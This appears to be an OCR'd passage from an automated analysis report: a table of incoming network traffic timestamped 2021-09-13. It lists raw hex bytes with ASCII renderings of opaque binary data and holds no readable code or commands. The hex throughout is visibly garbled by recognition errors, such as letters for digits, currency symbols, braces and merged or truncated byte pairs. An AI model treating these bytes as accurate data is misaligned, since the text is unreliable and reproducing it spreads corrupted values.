Data Ascii: t\gz3{z_Dbp<If'aX/=1'+P*V}S$\t0$/6y6(QKEL}zqQ..Aknz\S>.AM|]z+e ohZ#u'Cx>"Ufx|5wv3DI[]IPt9e

2021-09-13 23:07:18 UTC 275 IN Data Raw: eb 1b d0 el 9d 50 37 9c 47 3e 5f 28 9c 98 b2 65 1a 41 e9 e2 le f3 7b a0 6e 34 1a 65 30 76 f2 01 63 6d 14 8f
b5 22 b5 9d 08 ca 80 5d f2 9f Oc a4 13 2a cb 35 b9 ¢9 54 a3 51 94 ec f0 b9 {2 ec 3d e9 ca 15 50 9d 95 cc f3 b5 8f 75 a9 57
7d fd ce f2 2b 8a 75 f0 e5 09 da ee 9c 32 6d a5 8d 6a b7 46 5f 07 f6 c7 7a 69 e5 3 d4 05 7 4e 26 96 41 98 90 9c 0f 46 01
2f31 cc 37 8add ce 8d 40 dd 46 c7 7a bd 77 77 21 f9 15 0d 26 04 62 8a e4 84 33 03 08 5b 5f 16 be 66 30 f3 e3 5¢ 1d 89
ef 83 e7 d0 89 93 4a de 2d 4c 13 24 c4 cf 32 43 51 27 1e b6 21 df 7d 72 f6 40 17 33 78 7c 17 1d f6 f1 36 0f 57 64 f7 Ob ed
dc ff 9f 03 5d a4 Ob 3a 46 07 59 24 a2 e9 fd 27 26 ab 3e 07 b0 33 75 09 cf 8d 3b f7 1d 32 e6 33 ef 7a 04 2c 6f 76 ad 6e d9
86 12 c5 6e f6 {7 42 69 09 e2 72 8d 5f 67 08
Data Ascii: P7G>_(eA{n4eOvem'T*5TQ=PuW}+u2mjF_ziIN&AF/17 @Fzww!&b3[_fO\J-L$2CQ"}r@3x|6Wd]:FY$'&>3u;23
z,0vnnBir_g
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kBytes
Timestamp transferred Direction Data

2021-09-13 23:07:18 UTC 276 IN Data Raw: 4b f9 d3 5d 85 da 16 96 3d ec af 1b 78 9f 65 f3 ad 9d 54 dc 40 3e 42 72 fc 6b c3 €9 c6 b2 2c 01 3 2d 37 c9 00
31 30 f3 6¢ 9a ce 4b 42 Oe 21 8e 43 d7 7e db 1b 48 4a 3a 40 83 13 05 3a ec 98 01 23 1f 32 9c 17 d4 15 39 54 ef 93 e5 5d
83 13 ¢c9 54 dd 07 17 82 ff 34 dc 5¢ 25 f0 a2 fa 25 f6 c5 ac 60 al a9 c3 a0 a4 e7 e6 61 a8 b6 3f b6 c6 61 29 f1 93 9f 22 b7
b8 ba b8 13 af c1 53 7c b7 d8 f0 16 b7 5¢c 62 2 fc 8b dO 24 c2 89 2e 5e Oc 12 63 5a 94 c7 42 ea 9f f2 83 83 8d 78 3d al e2
9c e9 5b 6e bd fa 92 39 bc b7 03 0f 3b 74 7e 15 d5 ec 04 6e 7d 82 ae f8 38 cc 20 d8 ca 5f 00 f6 51 cb 60 b7 1c a9 5e 8b
ec 9c 10 55 0b 40 db ac eb fb 18 eb 67 5¢ ae 9d 49 ac e8 25 7d 29 42 {7 99 48 el f8 77 a3 12 17 05 80 la a7 05 01 15 ca
23 ce 4b 39 6e 94 be 1f 18 33 1e 34 98 3c 96 ff
Data Ascii: K]=xeT@>Brk,-710IKB!C~HJ: @:#29T]T4\%% a?a)"S|\b$."cZBx=[n9;t~n}8 _Q *U@g\I%})BHwW#K9n34<

2021-09-13 23:07:18 UTC 278 IN Data Raw: b6 90 15 34 3d a6 €0 e3 03 ab bd 9b 79 1d d4 ca c4 3d 01 9 22 83 70 be e5 0f 2 89 2e 96 fc Of 06 24 5b f4 1c
01 c3 cb 9b 03 7c ef 8e a0 7d 4a a3 d5 b7 18 25 Oe 29 fe f2 66 3f c1 b1 dd b6 c6 6d 30 27 6e 6b 06 8b ad e7 3e b 1d 85
78 21 f4 24 4e d4 8e fd 33 f5 17 5b 38 d5 83 37 3b 8¢ {7 7f b2 cc 06 2d 49 38 6d €3 12 50 d2 cd €9 6d 52 c9 92 5d 46 44 {7
75 5d 7d ab 69 bc 58 d7 71 22 f7 e1 50 0a 2c 1c b0 94 cc 95 fc 05 e8 a4 a3 0d 16 06 1e b3 a6 99 86 b9 0a 4f c3 €0 9d a0
bc 44 1d 55 f3 83 43 85 3f 43 e8 98 d2 ed a9 52 al bf 05 4e 48 8b e7 47 d6 89 53 17 30 7a 74 09 ca 1d 98 f0 56 bb 2c c1
25 ¢8 3d ab 34 2f 2b 5 c8 87 ee 23 12 94 37 15 26 5 54 8b 29 4e 8b 4b b8 1b 9c 62 ff 90 ee 65 b8 b3 19 dc d1 48 e4 86
7 8f c8 d8 19 1b 70 53 58 90 7 34 6f d0 2a 52 96
Data Ascii: 4=y="p.$[[}J%)f?m0'nk>xI$N3[87;-I8mPmR]FDul}iXq"P,0DUC?CRNHGS0ztV,%=4/+#7&T)NKbeHpSX40*R

2021-09-13 23:07:18 UTC 279 IN Data Raw: c2 64 af d5 38 cc 5a e6 fd d9 27 4b 83 83 a9 fd 8c €9 04 3 13 36 58 €0 3c c6 72 cd 87 49 13 95 52 5f 29 37 af
83 de cl 1e 34 c8 ee 6b f4 88 3d 2d 8¢ f8 6¢ 07 b4 51 57 e6 1a 34 b2 3f bc 7c 74 de 35 eb de 91 82 24 8b 67 fe 93 f8 a7 Of
e4 26 7c d7 93 62 b3 0b 69 9d 98 ac ca 25 95 90 a4 98 67 84 de ba f1 c2 35 13 d6 35 eb 3e 63 1c 73 8b a0 02 e2 a7 eb
88 b6 9f 5d fO ee 85 1f ab 2c 60 e4 d8 c8 2e 8f 77 cc 16 a0 ab dd 9a 24 1d c1 ef 54 3b 32 90 85 ee 88 b9 74 3b 79 28 Oa
c2 ab 23 6a 1a 0f 5e 88 91 48 34 4c 42 b6 39 46 €9 01 c6 af 94 dc 61 ab 8c el 39 97 6b fb Ob 5d b1 37 93 72 6a f2 b9 5a
cd c4 6a 9d b6 d5 55 11 9f bd b7 4d 10 59 0d 67 20 73 6d 9b 37 ¢5 97 d1 77 53 ¢7 96 3b a7 ca 09 b4 3e bb 28 09 c0 aa 8f
35 9f 43 ca 2a ab e0 5a 4c 81 1b c7 e5 9a cf 9e be 5e
Data Ascii: d8Z'K6X<rIR_)74k=-IQW4?|t5$9&|bi%g55>cs],”.w$T;2t;y(#/"HALBIFa9k]7rjZjuMYg sm7wS;>(5C*ZL"

2021-09-13 23:07:18 UTC 280 IN Data Raw: 36 Oe e8 ec d6 a4 e6 Oe 26 81 00 f7 d1 d9 c6 34 5a be f1 6a fO b8 04 77 45 37 fd 8e 40 6a df 7a cd dc 80 4f 47
7479 74 a4 df 38 a6 4a 7b 9a 9a c9 05 e4 a5 eb cb 4f 8d 3e ac 27 eb 64 44 f1 3a 6e 7d 7c d3 7f 5a 7b d2 06 b0 7a el 59
1c 39 7c 6d 7a 8e 9b 6e 4b 48 ab 9b 52 5d 1e 58 ef Oe bc 92 92 7a 81 89 Oe 82 dd ef bb 9f d2 6b 00 8f 33 d8 db d5 6d al
79 82 b7 1b a4 f9 af 29 94 71 1f 1e 23 73 04 ac 2c 3e 11 f3 a9 11 3d 56 3a 00 5d 35 89 b3 6¢ 17 a7 61 f9 45 75 e2 e4 3d
53 dd b0 29 d7 d6 ae 93 cd 42 e5 4f 4d 2d a3 ed 50 6d 58 53 11 7d 96 2a 55 bf cc 2a 5¢ f1 b2 6d 36 9a 24 8f 28 5d 19 3f
8c 632958 1le e3d3 d9 11 cf 01 2e 1b 11 16 79 b0 b3 84 cb 5d ee 9f 8b 6e 70 4d 53 a7 e8 8b 5f 11 b0 6e 46 €7 1b ae 11
1287 3e 93 71 fe a5 a7 9b 84 0d 65 c5 b6 2d b0 d9 a5
Data Ascii: 6&4ZjWE7@jzOGtyt8J{O>'dD:n}|Z{zY9|mznKHR]Xzk3my)q#s,>=V:]5laEu=S)BOM-PmXS}FU*\m6$(]?c) X.
ylnpMS_nF>qge-

2021-09-13 23:07:18 UTC 281 IN Data Raw: bd 87 6d 85 04 55 76 66 62 c7 6d 25 6b ee 9e 2e 10 aa d6 8f c9 c9 ee 02 29 4b 3a 60 28 Oa c6 29 5b 95 6f 07
ef 00 d4 44 f2 8a 79 a2 ed cO 6b 80 e3 ¢1 20 d1 71 ca d6 aa 4b 2d 17 ec 19 d4 80 f5 48 86 3b 0a 44 33 b2 3c 37 e0 10 2d
27 7a b2 3c 0d cd 4f 4e 2¢c 95 89 73 9b ee cf ef 29 2¢c 41 13 fc ef db 09 9¢c 09 b4 f9 77 b5 6 95 21 8b a5 e2 77 cb 19 e8 93
16 c8 c5 6 6b d5 9a cf 9e 6¢ 41 Ob ac 77 41 96 6e 30 €9 7e b2 88 a2 e7 23 95 bd 4d 21 fd e3 72 7e f6 5¢ db 01 Oc 43 bl
f2 ec 64 73 be 9f 0d e9 6¢ 5f 64 fb 0a 6b 57 bd c0 54 45 a3 a8 28 89 e6 68 4c 26 56 a0 73 88 e3 Oe c8 48 e4 89 8c 5e 89
7b 95 2c d5 1f 25 ad 23 ¢3 89 1c a4 6e 62 7a 5b €9 67 75 c3 Oa bb 05 fb 93 5d 4a 23 6 b9 73 60 f5 27 c5 ac 86 ac da b5
7c 79 fd ¢5 02 19 4c f6 8¢ 41 73 6b 32 b3 5c d4 4a 8¢
Data Ascii: mUvfbm%k.)K:*()[oDyk qK-H;D3<7-'z<ON,s),Aw!wWkIAWANO~#M!r~\Cds|_dkWTE(hL&VsH{,%#nbz[gu]J
#s™'lyLAsk2\J

2021-09-13 23:07:18 UTC 283 IN Data Raw: 97 e2 b6 fa 18 a3 7c 52 74 0f 56 ee el ec 5f 99 27 a4 79 1a 7b 22 ce 64 70 €3 5b 9d df d2 2f 02 27 d0 53 a3 c3
18 84 53 89 5a 2d ef dc 90 25 97 af 14 ee 80 ¢6 d5 3¢ de 37 31 ac 03 51 93 60 17 50 ba 2b 4e 57 fe b2 ff 26 €6 ef 2a 4f 1c
3f 75 16 fc d0 50 7a 8b 95 e4 e8 8f 88 15 eb 95 46 2 39 43 24 8f 40 02 80 98 7e 67 2 fb 78 97 71 f3 67 95 05 05 05 0d 66
¢10c c8 01 b6 12 b1 24 15 2b ee fe 86 30 c6 cd 8d e7 e d1 b6 70 85 3¢ 75 cb 3b dc 2¢ 39 5¢ 65 40 b5 d1 19 bd b2 7b bf
00 dc el 1e €0 a6 2c 69 b6 b3 10 3a e5 0 84 ed 1c 87 47 71 17 09 16 d9 37 b0 {7 c7 ec 62 3d 1a 71 d7 34 d6 68 1f Of 19
7f 1e d8 bO ff 66 35 d6 c3 c2 3b e7 71 6a 99 ¢3 7a 02 9b da 01 66 50 4e 9e 31 bf 92 e4 9e b2 2e 55 95 2f 99 d8 18 2f 81 e4
19 d4 Oc 7d b1 9e 41 a7 7a 39 44 86 c2 d5 68
Data Ascii: |[RtV_'y{"dp[/'SSZ-%<71Q P+NW&*0?uPzFIC$@~gxqgf$+0p<u;,9\e@{,i:Gq7b=q4hf5;qjzfPN1.U//}Az9Dh

2021-09-13 23:07:18 UTC 284 IN Data Raw: e9 8e b2 60 b6 67 ac ce 06 d4 4c 6¢ 00 1b al aa 04 b2 fa fd a3 b9 50 da 1c db 01 08 54 cf fa 04 48 d5 be 15 86
d2 75 1a 65 36 5 f2 57 ae 9a 69 ec fa a0 00 79 7f d6 db 1b €6 d7 a4 a7 a4 03 a2 48 eb e3 0d 8d 46 3a 14 b1 62 b7 8c 90
c4 ca 44 51 57 14 28 0 46 80 46 2c 4e c8 34 41 ec f0 d1 54 56 fe b2 c2 94 28 1c 43 fa a3 ac f3 94 ff Of c9 4e 33 08 3a 8b
43 7e 3b 34 78 0a 09 96 65 08 3b b7 d8 ba d9 89 6¢ d4 a7 98 51 c8 d5 d6 61 ae 72 f6 67 2c 7b bf 20 4 ¢3 14 34 13 3a da
6d 3c 12 ca 2c 13 7f b3 68 19 9 00 36 e4 Oe bb fa bl 5a 9c 28 ab d2 40 76 ec 18 81 78 4f eb 0d da 84 a8 f6 54 Oc 74 d2 4c
03 bb ed ec b8 47 c1 d9 d5 80 dO df 33 0 13 a6 63 4a 41 e2 3e 54 c2 b7 c9 f1 89 4a fb a7 e6 28 41 ef b7 f5 5b 36 c2 f4 62
ab 47 41 86 d2 05 64 37 8d 80 43 c5 c6 ab 41
Data Ascii: gLIPTHue6WiyHF:bDQW(FF,N4ATV(CN3:C~;4xe;IQarg { 4:m<,h6Z(@vxOTtLG3cIA>TI(AI6bGAd7CA

2021-09-13 23:07:18 UTC 285 IN Data Raw: 8a 3a 45 65 b6 4e b3 cb d5 9f 67 f4 al 1a 87 1b 78 98 2e 81 c3 Oc 28 cf ce cb 49 ¢3 53 39 d1 06 51 37 94 e2 9f
29 e8 eace 2b 62 f9 11 18 74 26 c9 ec cc a0 fe 2a b7 de 00 06 c8 9b 97 79 67 b4 ef Oa af b6 40 87 7a 8d d8 b3 5c bl 98
6e 3a 80 5f de 04 d1 3b 39 7a 43 85 b2 a6 59 37 94 88 b7 61 29 17 b6 44 65 38 bd 57 de cc aa 80 86 7b fc €6 9b 04 03 ce
c80c eb c2 68 el 8b 6e Oc 73 69 d9 96 74 9a 6d Oc 11 31 1f 2c cb 56 f5 5b 00 66 26 70 4e 1b 4c 95 90 2a 6d 47 47 Oe ce
78 79 ff 3c 4b 6b 55 9f al 4b c4 a3 71 ee e5 24 3f 6f 8b 7e e8 cf 9e 67 5¢ 16 de el 1c 03 da 6a ab 93 8b aa f1 6¢ ce 87 ee
db ca 8351 22 66 cb 05 9b c¢7 24 e8 4b 39 e0 09 c7 6d 05 cf 93 79 eb 71 24 6¢c 6f bf 53 82 ce a2 ¢9 60 33 67 bl 77 62 55
ff f9 8a 32 98 4 03 19 14 €0 75 b1 96 bd 76 27 87
Data Ascii: :EeNgx.(1S9Q7)+bt&*yg@z\n:_;9zCY 7a)De8W{hnsitm1,V[f&pNL*mGGxy<KkUKq$?0~g\j|Q"f$K9Imyq$loS
“3gwbU:uv'

2021-09-13 23:07:18 UTC 287 IN Data Raw: 07 8d fd 45 48 d1 63 3e 45 38 13 24 34 33 bc 7d da 34 fa 54 ea e7 f5 23 76 25 eb b8 b6 2a 14 18 f6 d8 db b8
d7a28d 7112 a3 7c cl 14 e5 71 81 7f 13 7b d4 cb d9 7f fe d7 db df 25 dc 88 45 7a fO bb 2c el fb 8f d2 7c 1b 6f 46 91 73
82 3a ad d7 f1 18 b1 5b Oe a2 5e 11 28 41 61 99 50 d4 84 09 b1 3c aa 81 1d 15 c2 66 6e e2 32 a6 2e 4c b9 86 4c 9b 54
b8 cc c3 01 ff d8 f7 33 94 1e 68 81 1c 34 93 39 fd 87 ¢3 00 02 21 ff d1 24 f4 Of 62 3b 6f da 02 86 59 22 b9 c1 53 b1 18 12
55 81 8¢ 91 4e 80 12 bb c3 f4 69 60 4d af 65 a4 6¢ b6 5e el 7f 42 22 91 73 a4 60 1le 7c d0 a5 a7 89 3b fc 1b eb e2 38 76
ea 7e dc eb b9 e5 70 1d Oe fb b2 59 60 26 9d e8 78 d2 5e 40 07 b9 53 2b 57 91 24 el dc 73 07 a8 2e b5 af 84 56 67 b7 a3
2b 4a 58 a8 71 4c e7 9f 69 64 b3 aa 99 76 84 c3 ac c8
Data Ascii: EHC>E8%$43}4T#v%*q|q{%Ez,|oFs:[*(AaP<fn2.LLT3h49!$b;0Y"SUNi'Mel"B"s"|;8v~pY &x "@S+W$s.Vg+
JXqLidv
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kBytes
Timestamp transferred Direction Data

2021-09-13 23:07:18 UTC 288 IN Data Raw: 39 30 36 30 7e e4 81 54 f0 78 6¢ b3 3c af 3e c4 84 54 72 4b 1b 44 bc ¢5 02 e4 02 38 d0 63 4b 08 d7 ed cf 9d 7
77 552 33 11 d6 63 9b 42 dd 9e 10 8a 5¢c 14 ¢7 93 d7 14 65 5¢ 66 61 68 79 a3 84 f4 d5 cb 25 b8 9 de d5 4e 98 46 35 2e
€814 99 0f 66 b3 8b 3b 97 c9 cb c6 51 58 a9 79 19 3e 1b bd 86 6d 26 Of fc 41 b0 07 2a 9b 27 fb 20 17 6d ef aa 30 98 6e
79 ee 88 41 dc bl 1c 27 96 61 c1 dc 95 5c¢ dc f5 06 52 9b d4 87 Of e7 88 ef c3 55 85 fe 24 d1 91 ¢8 d6 b2 c5 a9 63 cb eb
5e 07 36 c2 86 3b 12 46 33 be 3c 3b f8 a8 01 8f 93 e2 3a 05 c9 96 €3 84 e0 33 84 91 c6 27 dc 8f a5 cc 68 07 b9 96 0d 75
8e 59 8 bb 3f 4c 3c 21 22 al 8b 16 32 ee bb e0 6a 54 d6 40 41 a8 7e ec 59 0f 8¢ 8e 6¢ 9f c2 73 93 46 31 08 8a 7c 4c a7
67 d5 86 59 71 77 f3 b7 c1 5¢ 28 26 46 df 23 7 06 69
Data Ascii: 9060~TxI<>TrKD8cKw_R3cB\e\fahy%NF5.f;QXy>m&A* mOnyA'a\RU$c"6;F3<;:3'huY?L<!"2]T@A~YIsF1
|LgYqw\(&F#i

2021-09-13 23:07:18 UTC 289 IN Data Raw: a9 ba 96 af f2 31 06 18 3f 97 dd fc 81 23 73 Ob 9d cb 05 9e 0a 68 c2 5f 8e 3e ac 72 91 ca 73 87 06 66 bf 4d 66
4558 7b 2e a6 b5 5b 9c 94 1d 39 e5 62 05 32 21 1a 46 ef dd 6b 46 25 17 a8 e0 8d 46 e4 e8 19 f9 5a 0f f0 67 68 ca 69 29
15 de 8f Ob a2 62 9c 17 6e 86 7d 49 f2 29 46 ac 5f 2a 56 6f 54 2c Oe be 5f aa 29 30 7d 50 63 03 23 d4 76 27 58 c0 a4 65
63 1d e8 e5 f0 67 el e4 46 65 bd de 66 04 26 32 6¢c b9 33 8f 9e db 10 1a 69 14 9c 8a 24 3e Ob 53 01 b6 24 f1 87 54 ff al
91 b8 cb 2d 05 d8 5a ad 42 71 9c f8 94 ab d8 c4 87 31 bc 04 88 6f d9 38 45 f9 04 6¢ 4e fd 92 5c¢ fc ad 8e ac 3d d4 Ob 85 cb
19 13 a6 6f Ob a6 63 28 66 87 6b 95 da a9 c4 88 1c 7f f2 1f ec 79 04 3b 69 ca ca 1d 77 35 6d 6e 3e f2 e1 17 53 30 c1 88
e0 e4 13 28 Ob 50 b2 d3 ee 60 7a 73 3f 46 51 de 08
Data Ascii: 1?#sh_>rsfMfEX{.[9b2!FkF%FZghi)bn}l)F_*VoT,_)0}Pc#v'XecgFef&2I3i$>S$T-ZBglo8EIN\=oc(fky;
iwsmn>S0(P"zs?FQ

2021-09-13 23:07:18 UTC 290 IN Data Raw: 05 cc a6 af 82 6d f8 8b 18 bd 4a 52 56 9b 7a 0a 88 82 c1 52 6b ec c6 4b b2 39 97 b8 d0 2 al 3b fa ef 84 3 de
3389 b9 fl fb 95 a8 56 9d 6d d9 69 47 bd 1b 59 87 94 {3 45 17 17 23 11 a2 d1 bb 26 30 65 58 22 6a ad 09 c9 45 c1 6 c3
6c ee c9 27 73 34 e6 94 e8 c5 bc a2 19 38 de 63 ba 7a 62 f7 6¢ €9 59 b7 ¢1 90 ce 7c ad 39 7f a2 71 67 26 f4 ce 50 fd 09
cd 35 04 d9 14 8a fb 54 53 f4 13 9b d5 7a 29 88 ab 89 b1 59 42 05 35 1d 30 93 52 14 c2 d5 b2 8a 6f 58 d1 2c f9 37 aa f8
95 f0 5d b7 9f 55 f1 9a 42 ee €0 1a 5e c3 fa 50 9f d0 30 e3 df d2 ea 8f c5 91 2f a6 07 77 b4 7f e6 ef db 66 df 63 f6 4b 60 1f
13 cf 9f 84 d8 d4 d8 3f 37 {7 4c f3 9c 49 7c 8f 3b b4 f8 77 10 5¢ 1d 89 84 b1 45 dO fc Oe b9 d1 cb 74 dd 24 c4 4c d4 03 e4
el Oc 98 dc df fO 6d 74 ac 6e bf 09 c5 e4 64
Data Ascii: mJRVzRKK9;3VmiGYE#&0eX"|El's48czblY|9qg&P5TSz) YB50R0X,7]UBMPO/wfcK™ 27LI|;w\Et$Lmtnd

2021-09-13 23:07:18 UTC 292 IN Data Raw: 99 db eb 91 55 3c b5 30 b9 70 7c 75 €0 53 e1 58 6e 6e €9 ee 8d 70 el c5 5¢ e0 2a 5¢ ff 8b 91 a0 ff 2d 05 d8 1f
83 35 24 9a 24 96 e2 6e d7 f8 4b cf 73 f2 60 aa 15 b5 17 ec 3c a6 24 86 9f bd 26 3d 73 e6 2e 54 8b 9f f9 e5 59 13 a0 ac 7
57 1d 96 2d 18 10 ac c8 8d 75 ¢3 0d b0 88 47 f4 cd 96 06 1b €9 ee 54 77 32 37 f2 95 19 48 43 e5 78 57 bf 52 ab cf cb 77
61 95 b2 f2 83 4a 55 59 c7 4d f6 dc 6b 67 €0 a6 c2 a5 03 22 1e 14 9a ef 84 11 8d 33 f0 8f ea 59 b0 9a f4 93 Ob 7d 09 00 6
Oa 2e b2 96 6a ac 1e 31 a5 77 f0 60 a8 6a bd 41 cb ad 94 f7 ee 5b fd Oe 2f cf 51 a2 ac bb 99 c2 38 6f 8c 37 c2 ee 61 31 a5
de 9e ac d8 3b 88 23 6d 61 a5 ab c8 b3 38 49 €8 48 6¢ €9 bd f5 b1 48 e0 55 98 51 82 1b f5 10 ac cb 95 cf 22 f3 3e 14 3¢
25 fa 4a 7b b6 4e fe 8a e8 9f 38 a4 d9 10 d3
Data Ascii: U<Op|uSXnnp\*\-5$$nKs <$&=s.TYW-uGTw27HCxWRwaJUYMkKg"3Y}j.jlw jA[/Q807al;#ma8IHIHUQ"><%J{
N8

2021-09-13 23:07:18 UTC 293 IN Data Raw: 02 22 2a 4e 5c 31 8b fe a9 e0 bd 81 5e 1d a5 97 88 c3 2 a6 49 44 6f 60 e5 2c f9 37 aa e8 55 f8 5d b7 4b 74 5¢
Oe 30 84 9b 2a 60 dc 71 95 40 91 cb 81 df f5 d8 85 c3 45 23 b3 26 c¢7 4b d0 80 62 a0 43 a9 01 31 7a cf 08 03 7d 15 79 d8
89 07 09 fb fe f6 a4 52 30 47 68 85 a4 8 74 6f 5¢ 1d 89 8¢ 10 02 26 76 ef 07 fa b1 b2 20 e4 94 c5 d2 73 a5 8e 09 ee a6 63
85 d4 8a a8 6e eb 07 c5 e4 dd 5f d5 3b a7 56 e6 f7 4e 15 23 00 99 03 bf 78 f5 ¢5 9¢ 40 b1 50 5b 75 86 20 27 6f 24 05 ed
16 79 fO bb fe 35 f4 d4 a6 c6 e2 4b 64 91 b4 f9 e4 d8 d3 83 25 b1 28 Oe 6a aa 64 f7 be 67 30 20 26 84 3f c2 9e e2 c9 af bd
4c 6f fc 1f f5 2d e0 c6 3d 3b 83 f6 6a 86 ae Oe 8a fd 43 86 28 6d e2 c4 6¢ e9 69 50 b2 31 3f 75 09 90 dd 38 d2 al 4b f7 9d
ch bb 92 4e db be 5c 8f 2a f3 ca ea 1d 7a f3
Data Ascii: "*N\17IDo", 7U]Kt\0* q@E#&KbC1z}yROGhto\&v scn_;VN#x@P[u '0$y5Kd%(jdg0 &?Lo-=;jC(mliP1?2u8KN\*z

2021-09-13 23:07:18 UTC 294 IN Data Raw: be 40 c8 96 d1 df 5e 89 69 02 49 9e c3 be 9b b9 b3 ce 54 fe 6b c7 2a ed 96 b9 87 02 7d 1f 7e ee af 2f 89 6f 94
51 1f 02 26 d4 71 87 b7 2e 88 30 67 ad 9d 4d ad 04 cc 06 74 51 fe d7 ee 98 6¢ fc 4e ab b0 da e6 e7 61 4d 44 Oc 30 ae c6
01 7b dd 05 79 30 23 78 ¢7 f5 96 b1 Ob 65 95 ba 86 4b db cd 2f e2 ce 89 34 83 1e f1 61 96 cf d2 0d 76 fd 63 99 ee b7 a3
42 17 05 5e e0 53 d2 70 ee ca Oe 37 ab 34 eb 23 0a 04 b8 74 67 08 61 63 6a cd 20 20 89 17 2f 8b 8¢ 5e 5b 5d dc 56 9b
2a12 7a 4d f7 99 ff el 3e 31 cc 5f 03 8¢ 46 18 5¢ 3a ec f2 f5 71 ce 9b 1d 15 2e b9 1d af 52 2e b5 62 93 €0 31 €9 52 d7 43
4e 89 33 e9 a0 1c 44 fe 0d 1f c1 ef 54 51 b3 ed 96 ee d6 5f 06 42 d8 5e f2 06 37 23 6a 54 fd c4 ea aa bb 47 cb 0d 9b 8f 87
b0 f2 23 79 52 af a2 30 96 cd 87 94 03 84 28 9d e6
Data Ascii: @"ilTk*}~/0Q&q.0gMtQINaMDO{yO#xeK/4avcB Sp74ttgaci /AV*zM>1_F\:q.R.b1IRCN3DTQ_BA7#TG#yRO(

2021-09-13 23:07:18 UTC 295 IN Data Raw: 8d 37 49 6b 2a d3 47 8¢ 71 12 8c 17 c3 0a f1 4f 89 fe Ob Of ec 27 89 97 4d 12 83 37 04 e8 9f 0d 46 cc cf 8a ed
9b ce 08 68 80 a9 6a 1a f9 ca 6d fb e4 d2 b0 69 3a 08 96 46 19 df 79 b2 fd df 95 b3 c6 65 a2 e0 5f a4 52 72 6f Oc 63 e9 33
25 8e 3a 45 54 87 d0 81 2e ¢5 bl 4a bc 42 98 d9 9b ¢8 91 41 69 50 39 5 77 cb 03 1f 03 b5 5d 17 0f 78 79 3b 4c 1d cc c3
bf a7 €9 00 b4 45 64 01 9f c6 83 12 fO f4 df f6 5b bf 58 98 49 0f aa €9 eb 4d 4f 1d 67 33 8d 9d 30 14 50 Oe 28 a6 a7 23 a4
44 2c db 9f d7 80 4d 84 f7 ed 07 cd 6f 2a 99 49 f1 fc 5e eb 28 6d 2b 84 d2 e5 49 78 51 42 7d ee 6a 61 25 c4 a7 1f fb 6¢ 78
7176 52 ee c2 1a a9 41 27 6b 8a b3 9c 9c 21 dd 8f 3f €6 1e 28 10 6f 04 53 14 c4 5d 28 12 aa a6 18 5a 2d bc 6e b0 d5 be
d7 24 dd 07 30 da c4 a9 Oa 6¢ 5c ff 27 14 ae
Data Ascii: 7Ik*GgO'M7Fhjmi:Fye_Rroc3%:ET.JBAIP9W]xy;LEd[XIMOg30P(#D,Mo*I"(m+IxQB}ja%IxqvRA'k!?(0S](Z-n$0I\

2021-09-13 23:07:18 UTC 297 IN Data Raw: c6 43 d4 86 a0 2f 4d db c7 66 65 74 64 9b 52 3d 90 84 {7 52 14 4b 5¢ 5f 1a 81 d2 ff ec a8 81 12 a6 f1 14 €0 21
31 b4 2e 98 01 8c ¢5 e2 2e ¢5 b7 9c ¢7 10 44 7c 3f 6a da c3 5f 21 d6 10 45 1f 6¢ 6a b5 90 6¢ 27 4e d5 fc cO 62 6e 0a 42
a5 32 bd 65 9b 3a 99 a4 44 37 22 3d 9e 59 15 e2 32 22 0d 41 a5 91 6f 73 bf Oe 59 b7 8e 30 79 bd 64 46 3b f2 51 0 ad a7
b3 80 18 b9 93 €3 04 0d 1a 15 4c 04 9a 42 76 76 04 02 52 89 7a 6¢ 50 48 29 82 €2 b1 8f 39 09 a6 78 6b e 1 a6 6¢ 20 b2
9f 2a 88 5b fc cf 58 0d 16 08 37 39 45 b7 08 a6 21 2a 45 fc c6 03 6d 7e 0d 2e b4 91 82 22 8 8a cf 9e 20 01 75 6d 9f 49 d6
20 fb 06 7e 9a 42 59 12 1c 6¢ fb 38 62 ea f2 22 bc b0 9b 24 62 04 ab ba 1a da da d5 be d8 c5 d5 c9 46 65 36 15 f2 57 ae ff
df 56 87 27 b2 00 ee 0d d8 16 f9 37 a4 a9 a9 53
Data Ascii: C/MfetdR=RK\_!1..D|?j_IElj'NbnB2e:D7"=Y2"AosY0ydF;QLBWRzIPH)9xkl *[X79E*Em~." uml ~BY
I8b"$bFe6WV'7S

2021-09-13 23:07:18 UTC 298 IN Data Raw: 78 cc 14 ed 85 6b d1 ad da c6 58 b6 d8 66 2c a6 36 93 9c db Oe le e5 af e8 7c 6a b5 25 17 d2 67 21 b0 45 e8
e7 8c fb bc 03 70 da c9 e5 d9 1d 82 7c 1f 4d 6e de e7 5d 12 92 e8 91 30 fe db fd ed 1c 9f ed ef 2a c2 68 5a 4c 07 86 03 02
3d 46 d2 00 9d 21 f8 07 43 1c 1b 6¢ 07 ¢8 96 a0 d0 41 6d 18 33 c8 1b 15 e8 f2 7a a3 6d 52 22 51 2e 6e 1c 41 6b bc 64 41
ea 94 7cc2 79 64 53 ca b9 9b e4 d6 30 f9 a4 17 9b b4 8a e8 54 96 50 25 48 23 3f 75 Oa fc cd ac d1 89 0f e7 19 4b c6 5¢
8c 34 a9 91 be ed 26 Ob af dc 73 1b a5 2d 26 5e 07 58 86 3f 33 90 c0 54 46 dd 19 f8 01 0b 92 3d 71 c7 e4 b4 14 a7 eb 44
1027 3212 1 17 f9 4d ec 44 6¢ 03 19 a3 4e 3b 7f 7b 13 70 4d 68 Ob de af 8e ea 53 cb 2e 1f e0 2c 81 cf 47 6b ef e8 86 c3
7198 08 a8 Oc 52 15 09 3d e9 ef 66 81 87 63 be 97
Data Ascii: xkXf,6(j%g!Ep|Mn]0*hZL=F!CIAmM3zmR"Q.nAkdA|ydSOTP%H#?uK\4&s-&*X?3TF=qD'2MDIN;{pMhS.,GkqR=fc
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2021-09-13 23:07:18 UTC 299 IN Data Raw: ca 87 51 Oe 7e 2 ab 4d 33 45 00 ce cb ed 92 f4 d9 40 47 bb 30 a7 78 6b 10 b7 6d 7f ad 2b d6 63 60 b6 38 6b
dc 63 80 08 b4 f9 dd 05 7c 24 d8 d5 c6 d7 a3 ac 22 9a 64 95 b7 e4 92 ca 83 al ba 42 95 al e8 20 47 2f 05 9e 4a 7b 78 c7
80 5d 94 a4 20 2f 3f ff 89 bb e2 da 8b ad 2b f6 3 ab ba f2 8a 5f 5f 8d e5 87 6e 86 b8 59 36 47 6f ba 79 64 d0 2b 23 2b 4d
75 80 de 7c 1e 09 4a 45 92 5a f1 29 05 db fa bf 6d cO f9 ab ec al 3c 15 fe 3a 9a c0 9e 17 e4 61 7a c5 Oc 1e 55 f8 70 44 02
